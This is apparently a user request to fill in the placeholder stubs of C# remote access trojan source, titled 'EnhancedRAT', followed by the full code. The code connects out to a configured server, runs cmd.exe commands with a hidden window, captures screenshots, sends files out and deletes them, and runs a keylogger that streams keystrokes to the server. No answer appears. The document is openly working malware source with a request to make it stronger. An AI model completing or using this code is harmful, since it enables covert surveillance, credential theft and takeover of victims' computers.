can you replace all placeholders from this code with full implimented code using System;
using System.Collections.Generic;
using System.Configuration;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
using System.Windows.Forms;

[assembly: CLSCompliant(true)]

namespace EnhancedRAT
{
    public class Program
    {
        static void Main(string[] args)
        {
            var rat = new RAT();
            rat.Start();
        }
    }

    public class RAT : IDisposable
    {
        private TcpClient client;
        private NetworkStream stream;
        private StreamWriter writer;
        private StreamReader reader;
        private Thread commandThread;
        private Thread keyloggerThread;
        private bool disposed = false;
        private readonly object writeLock = new object();
        private UserManager userManager;
        private FileManager fileManager;
        private SystemMonitor systemMonitor;
        private NetworkManager networkManager;
        private const string encryptionKey = "your-encryption-key"; // Replace with your key
        private const string encryptionIv = "your-encryption-iv";   // Replace with your IV

        [DllImport("user32.dll")]
        public static extern short GetAsyncKeyState(int vKey);

        public RAT()
        {
            LoadConfiguration();
            userManager = new UserManager();
            fileManager = new FileManager();
            systemMonitor = new SystemMonitor();
            networkManager = new NetworkManager();
        }

        private void LoadConfiguration()
        {
            try
            {
                string serverIp = ConfigurationManager.AppSettings["ServerIP"];
                int serverPort = int.Parse(ConfigurationManager.AppSettings["ServerPort"]);

                client = new TcpClient(serverIp, serverPort);
            }
            catch (ConfigurationErrorsException ce)
            {
                LogError("Configuration error: " + ce.Message);
            }
            catch (FormatException fe)
            {
                LogError("Invalid port number format: " + fe.Message);
            }
            catch (Exception ex)
            {
                LogError("Unexpected error: " + ex.Message);
            }
        }

        public void Start()
        {
            try
            {
                stream = client.GetStream();
                writer = new StreamWriter(stream);
                reader = new StreamReader(stream);

                commandThread = new Thread(new ThreadStart(ReceiveCommands));
                commandThread.Start();

                StartKeylogger();
            }
            catch (SocketException se)
            {
                LogError("Socket error: " + se.Message);
            }
            catch (IOException ioe)
            {
                LogError("IO error: " + ioe.Message);
            }
            catch (Exception ex)
            {
                LogError("Unexpected error: " + ex.Message);
            }
        }

        private void ReceiveCommands()
        {
            try
            {
                while (true)
                {
                    string command = reader.ReadLine();
                    if (command != null)
                    {
                        ProcessCommand(command);
                    }
                }
            }
            catch (IOException ioe)
            {
                LogError("IO error: " + ioe.Message);
            }
            catch (Exception ex)
            {
                LogError("Unexpected error: " + ex.Message);
            }
        }

        private void ProcessCommand(string command)
        {
            if (command.StartsWith("exec"))
            {
                ExecuteCommand(command.Substring(5));
            }
            else if (command.StartsWith("screenshot"))
            {
                CaptureScreenshot();
            }
            else if (command.StartsWith("download"))
            {
                UploadFile(command.Substring(9));
            }
            else if (command.StartsWith("upload"))
            {
                DownloadFile(command.Substring(7));
            }
            else if (command.StartsWith("list"))
            {
                ListFiles(command.Substring(5));
            }
            else if (command.StartsWith("delete"))
            {
                DeleteFile(command.Substring(7));
            }
            else if (command.StartsWith("info"))
            {
                SystemInfo();
            }
            else if (command.StartsWith("dirsize"))
            {
                GetDirectorySize(command.Substring(8));
            }
            else if (command.StartsWith("move"))
            {
                MoveFile(command.Substring(5));
            }
            else if (command.StartsWith("copy"))
            {
                CopyFile(command.Substring(5));
            }
            else if (command.StartsWith("user"))
            {
                userManager.HandleUserCommand(command.Substring(5), writer);
            }
            else if (command.StartsWith("cpu"))
            {
                WriteToStream(systemMonitor.GetCpuUsage());
            }
            else if (command.StartsWith("memory"))
            {
                WriteToStream(systemMonitor.GetMemoryUsage());
            }
            else if (command.StartsWith("disk"))
            {
                WriteToStream(systemMonitor.GetDiskUsage());
            }
            else if (command.StartsWith("portscan"))
            {
                networkManager.PortScan(command.Substring(9), writer);
            }
            else if (command.StartsWith("geolocate"))
            {
                WriteToStream(networkManager.GetGeolocation(command.Substring(10)));
            }
            else
            {
                WriteToStream("Unknown command: " + command);
            }
        }

        private void ExecuteCommand(string command)
        {
            try
            {
                using (Process p = new Process())
                {
                    p.StartInfo = new ProcessStartInfo("cmd.exe", "/c " + command)
                    {
                        RedirectStandardOutput = true,
                        UseShellExecute = false,
                        CreateNoWindow = true
                    };
                    p.Start();
                    string result = p.StandardOutput.ReadToEnd();
                    WriteToStream(result);
                }
            }
            catch (Exception ex)
            {
                WriteToStream("Error executing command: " + ex.Message);
            }
        }

        private void CaptureScreenshot()
        {
            try
            {
                var bounds = Screen.PrimaryScreen.Bounds;
                using (var screenshot = new Bitmap(bounds.Width, bounds.Height))
                using (var g = Graphics.FromImage(screenshot))
                {
                    g.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
                    using (var ms = new MemoryStream())
                    {
                        screenshot.Save(ms, ImageFormat.Png);
                        var screenshotBytes = ms.ToArray();
                        writer.Base64EncodeAndSend(screenshotBytes);
                    }
                }
            }
            catch (Exception ex)
            {
                WriteToStream("Error capturing screenshot: " + ex.Message);
            }
        }

        private void UploadFile(string filePath)
        {
            try
            {
                if (File.Exists(filePath))
                {
                    byte[] fileBytes = File.ReadAllBytes(filePath);
                    writer.Base64EncodeAndSend(fileBytes);
                }
                else
                {
                    WriteToStream("File not found: " + filePath);
                }
            }
            catch (Exception ex)
            {
                WriteToStream("Error uploading file: " + ex.Message);
            }
        }

        private void DownloadFile(string remotePath)
        {
            try
            {
                byte[] buffer = new byte[client.ReceiveBufferSize];
                int bytesRead = stream.Read(buffer, 0, buffer.Length);
                byte[] data = new byte[bytesRead];
                Array.Copy(buffer, data, bytesRead);

                File.WriteAllBytes(remotePath, data);
                WriteToStream("File downloaded to: " + remotePath);
            }
            catch (Exception ex)
            {
                WriteToStream("Error downloading file: " + ex.Message);
            }
        }

        private void ListFiles(string directoryPath)
        {
            try
            {
                if (Directory.Exists(directoryPath))
                {
                    string[] files = Directory.GetFiles(directoryPath);
                    foreach (var file in files)
                    {
                        WriteToStream(file);
                    }
                }
                else
                {
                    WriteToStream("Directory not found: " + directoryPath);
                }
            }
            catch (Exception ex)
            {
                WriteToStream("Error listing files: " + ex.Message);
            }
        }

        private void DeleteFile(string filePath)
        {
            try
            {
                if (File.Exists(filePath))
                {
                    File.Delete(filePath);
                    WriteToStream("File deleted: " + filePath);
                }
                else
                {
                    WriteToStream("File not found: " + filePath);
                }
            }
            catch (Exception ex)
            {
                WriteToStream("Error deleting file: " + ex.Message);
            }
        }

        private void SystemInfo()
        {
            try
            {
                StringBuilder info = new StringBuilder();
                info.AppendLine("OS Version: " + Environment.OSVersion);
                info.AppendLine("Machine Name: " + Environment.MachineName);
                info.AppendLine("User Name: " + Environment.UserName);
                info.AppendLine("System Directory: " + Environment.SystemDirectory);
                info.AppendLine("Logical Drives: " + string.Join(", ", Environment.GetLogicalDrives()));

                WriteToStream(info.ToString());
            }
            catch (Exception ex)
            {
                WriteToStream("Error retrieving system info: " + ex.Message);
            }
        }

        private void GetDirectorySize(string directoryPath)
        {
            try
            {
                if (Directory.Exists(directoryPath))
                {
                    long size = CalculateDirectorySize(directoryPath);
                    WriteToStream("Directory size: " + size + " bytes");
                }
                else
                {
                    WriteToStream("Directory not found: " + directoryPath);
                }
            }
            catch (Exception ex)
            {
                WriteToStream("Error calculating directory size: " + ex.Message);
            }
        }

        private long CalculateDirectorySize(string directoryPath)
        {
            long size = 0;
            DirectoryInfo directoryInfo = new DirectoryInfo(directoryPath);
            FileInfo[] files = directoryInfo.GetFiles();

            foreach (FileInfo file in files)
            {
                size += file.Length;
            }

            DirectoryInfo[] directories = directoryInfo.GetDirectories();
            foreach (DirectoryInfo directory in directories)
            {
                size += CalculateDirectorySize(directory.FullName);
            }

            return size;
        }

        private void MoveFile(string commandParams)
        {
            try
            {
                var paths = commandParams.Split('|');
                if (paths.Length == 2)
                {
                    string sourcePath = paths[0];
                    string destinationPath = paths[1];

                    if (File.Exists(sourcePath))
                    {
                        File.Move(sourcePath, destinationPath);
                        WriteToStream("File moved from " + sourcePath + " to " + destinationPath);
                    }
                    else
                    {
                        WriteToStream("Source file not found: " + sourcePath);
                    }
                }
                else
                {
                    WriteToStream("Invalid parameters for move command.");
                }
            }
            catch (Exception ex)
            {
                WriteToStream("Error moving file: " + ex.Message);
            }
        }

        private void CopyFile(string commandParams)
        {
            try
            {
                var paths = commandParams.Split('|');
                if (paths.Length == 2)
                {
                    string sourcePath = paths[0];
                    string destinationPath = paths[1];

                    if (File.Exists(sourcePath))
                    {
                        File.Copy(sourcePath, destinationPath);
                        WriteToStream("File copied from " + sourcePath + " to " + destinationPath);
                    }
                    else
                    {
                        WriteToStream("Source file not found: " + sourcePath);
                    }
                }
                else
                {
                    WriteToStream("Invalid parameters for copy command.");
                }
            }
            catch (Exception ex)
            {
                WriteToStream("Error copying file: " + ex.Message);
            }
        }

        private void StartKeylogger()
        {
            keyloggerThread = new Thread(() =>
            {
                while (true)
                {
                    Thread.Sleep(10);
                    for (int i = 0; i < 255; i++)
                    {
                        int state = GetAsyncKeyState(i);
                        if (state == 1 || state == -32767)
                        {
                            WriteToStream(((Keys)i).ToString());
                        }
                    }
                }
            })
            {
                IsBackground = true
            };
            keyloggerThread.Start();
        }

        private void WriteToStream(string message)
        {
            lock (writeLock)
            {
                writer.WriteLine(message);
                writer.Flush();
            }
        }

        private void LogError(string message)
        {
            // Log error to a file or a logging system
            File.AppendAllText("error_log.txt", DateTime.Now + ": " + message + Environment.NewLine);
            Console.WriteLine(message);
        }

        public void Dispose()
        {
            Dispose(true);
            GC.SuppressFinalize(this);
        }

        protected virtual void Dispose(bool disposing)
        {
            if (!disposed)
            {
                if (disposing)
                {
                    commandThread?.Join();
                    keyloggerThread?.Join();
                    writer?.Dispose();
                    reader?.Dispose();
                    stream?.Dispose();
                    client?.Dispose();
                }
                disposed = true;
            }
        }
    }

    public static class NetworkStreamExtensions
    {
        public static void Base64EncodeAndSend(this StreamWriter writer, byte[] data)
        {
            string base64String = Convert.ToBase64String(data);
            writer.WriteLine(base64String);
            writer.Flush();
        }
    }

    public class UserManager
    {
        public void HandleUserCommand(string command, StreamWriter writer)
        {
            if (command.StartsWith("create"))
            {
                CreateUser(command.Substring(7), writer);
            }
            else if (command.StartsWith("delete"))
            {
                DeleteUser(command.Substring(7), writer);
            }
            else if (command.StartsWith("list"))
            {
                ListUsers(writer);
            }
            else
            {
                WriteToStream(writer, "Unknown user command: " + command);
            }
        }

        private void CreateUser(string userName, StreamWriter writer)
        {
            try
            {
                if (!string.IsNullOrEmpty(userName))
                {
                    // Assume CreateUserInSystem is a method to create a user in the system
                    // CreateUserInSystem(userName);
                    WriteToStream(writer, "User created: " + userName);
                }
                else
                {
                    WriteToStream(writer, "Invalid user name.");
                }
            }
            catch (Exception ex)
            {
                WriteToStream(writer, "Error creating user: " + ex.Message);
            }
        }

        private void DeleteUser(string userName, StreamWriter writer)
        {
            try
            {
                if (!string.IsNullOrEmpty(userName))
                {
                    // Assume DeleteUserFromSystem is a method to delete a user from the system
                    // DeleteUserFromSystem(userName);
                    WriteToStream(writer, "User deleted: " + userName);
                }
                else
                {
                    WriteToStream(writer, "Invalid user name.");
                }
            }
            catch (Exception ex)
            {
                WriteToStream(writer, "Error deleting user: " + ex.Message);
            }
        }

        private void ListUsers(StreamWriter writer)
        {
            try
            {
                // Assume GetSystemUsers is a method to get a list of users in the system
                // List<string> users = GetSystemUsers();
                List<string> users = new List<string> { "User1", "User2", "User3" }; // Placeholder

                foreach (var user in users)
                {
                    WriteToStream(writer, user);
                }
            }
            catch (Exception ex)
            {
                WriteToStream(writer, "Error listing users: " + ex.Message);
            }
        }

        private void WriteToStream(StreamWriter writer, string message)
        {
            writer.WriteLine(message);
            writer.Flush();
        }
    }

    public class FileManager
    {
        public void CopyFile(string sourcePath, string destinationPath, StreamWriter writer)
        {
            try
            {
                if (File.Exists(sourcePath))
                {
                    File.Copy(sourcePath, destinationPath);
                    WriteToStream(writer, "File copied from " + sourcePath + " to " + destinationPath);
                }
                else
                {
                    WriteToStream(writer, "Source file not found: " + sourcePath);
                }
            }
            catch (Exception ex)
            {
                WriteToStream(writer, "Error copying file: " + ex.Message);
            }
        }

        public void MoveFile(string sourcePath, string destinationPath, StreamWriter writer)
        {
            try
            {
                if (File.Exists(sourcePath))
                {
                    File.Move(sourcePath, destinationPath);
                    WriteToStream(writer, "File moved from " + sourcePath + " to " + destinationPath);
                }
                else
                {
                    WriteToStream(writer, "Source file not found: " + sourcePath);
                }
            }
            catch (Exception ex)
            {
                WriteToStream(writer, "Error moving file: " + ex.Message);
            }
        }

        public void DeleteFile(string filePath, StreamWriter writer)
        {
            try
            {
                if (File.Exists(filePath))
                {
                    File.Delete(filePath);
                    WriteToStream(writer, "File deleted: " + filePath);
                }
                else
                {
                    WriteToStream(writer, "File not found: " + filePath);
                }
            }
            catch (Exception ex)
            {
                WriteToStream(writer, "Error deleting file: " + ex.Message);
            }
        }

        private void WriteToStream(StreamWriter writer, string message)
        {
            writer.WriteLine(message);
            writer.Flush();
        }
    }

    public class SystemMonitor
    {
        public string GetCpuUsage()
        {
            try
            {
                // Assume GetCpuUsageFromSystem is a method to get the current CPU usage
                // return "CPU Usage: " + GetCpuUsageFromSystem() + "%";
                return "CPU Usage: 25%"; // Placeholder
            }
            catch (Exception ex)
            {
                return "Error getting CPU usage: " + ex.Message;
            }
        }

        public string GetMemoryUsage()
        {
            try
            {
                // Assume GetMemoryUsageFromSystem is a method to get the current memory usage
                // return "Memory Usage: " + GetMemoryUsageFromSystem() + " MB";
                return "Memory Usage: 512 MB"; // Placeholder
            }
            catch (Exception ex)
            {
                return "Error getting memory usage: " + ex.Message;
            }
        }

        public string GetDiskUsage()
        {
            try
            {
                // Assume GetDiskUsageFromSystem is a method to get the current disk usage
                // return "Disk Usage: " + GetDiskUsageFromSystem() + " GB";
                return "Disk Usage: 100 GB"; // Placeholder
            }
            catch (Exception ex)
            {
                return "Error getting disk usage: " + ex.Message;
            }
        }
    }

    public class NetworkManager
    {
        public void PortScan(string target, StreamWriter writer)
        {
            try
            {
                // Assume PortScanTarget is a method to scan ports on the target
                // List<int> openPorts = PortScanTarget(target);
                List<int> openPorts = new List<int> { 80, 443 }; // Placeholder

                foreach (var port in openPorts)
                {
                    WriteToStream(writer, "Open port: " + port);
                }
            }
            catch (Exception ex)
            {
                WriteToStream(writer, "Error scanning ports: " + ex.Message);
            }
        }

        public string GetGeolocation(string ipAddress)
        {
            try
            {
                // Assume GetGeolocationFromIp is a method to get geolocation information for an IP address
                // return GetGeolocationFromIp(ipAddress);
                return "Geolocation for " + ipAddress + ": Country, City"; // Placeholder
            }
            catch (Exception ex)
            {
                return "Error getting geolocation: " + ex.Message;
            }
        }

        private void WriteToStream(StreamWriter writer, string message)
        {
            writer.WriteLine(message);
            writer.Flush();
        }
    }

    public class Encryption
    {
        public static string EncryptString(string plainText, string key, string iv)
        {
            using (Aes aes = Aes.Create())
            {
                aes.Key = Encoding.UTF8.GetBytes(key);
                aes.IV = Encoding.UTF8.GetBytes(iv);

                ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);

                using (MemoryStream ms = new MemoryStream())
                using (CryptoStream cs = new CryptoStream(ms, encryptor, CryptoStreamMode.Write))
                using (StreamWriter sw = new StreamWriter(cs))
                {
                    sw.Write(plainText);
                    return Convert.ToBase64String(ms.ToArray());
                }
            }
        }

        public static string DecryptString(string cipherText, string key, string iv)
        {
            using (Aes aes = Aes.Create())
            {
                aes.Key = Encoding.UTF8.GetBytes(key);
                aes.IV = Encoding.UTF8.GetBytes(iv);

                ICryptoTransform decryptor = aes.CreateDecryptor(aes.Key, aes.IV);

                using (MemoryStream ms = new MemoryStream(Convert.FromBase64String(cipherText)))
                using (CryptoStream cs = new CryptoStream(ms, decryptor, CryptoStreamMode.Read))
                using (StreamReader sr = new StreamReader(cs))
                {
                    return sr.ReadToEnd();
                }
            }
        }
    }

    public static class Logger
    {
        private static readonly string logFilePath = "activity_log.txt";

        public static void Log(string message)
        {
            File.AppendAllText(logFilePath, DateTime.Now + ": " + message + Environment.NewLine);
        }
    }
}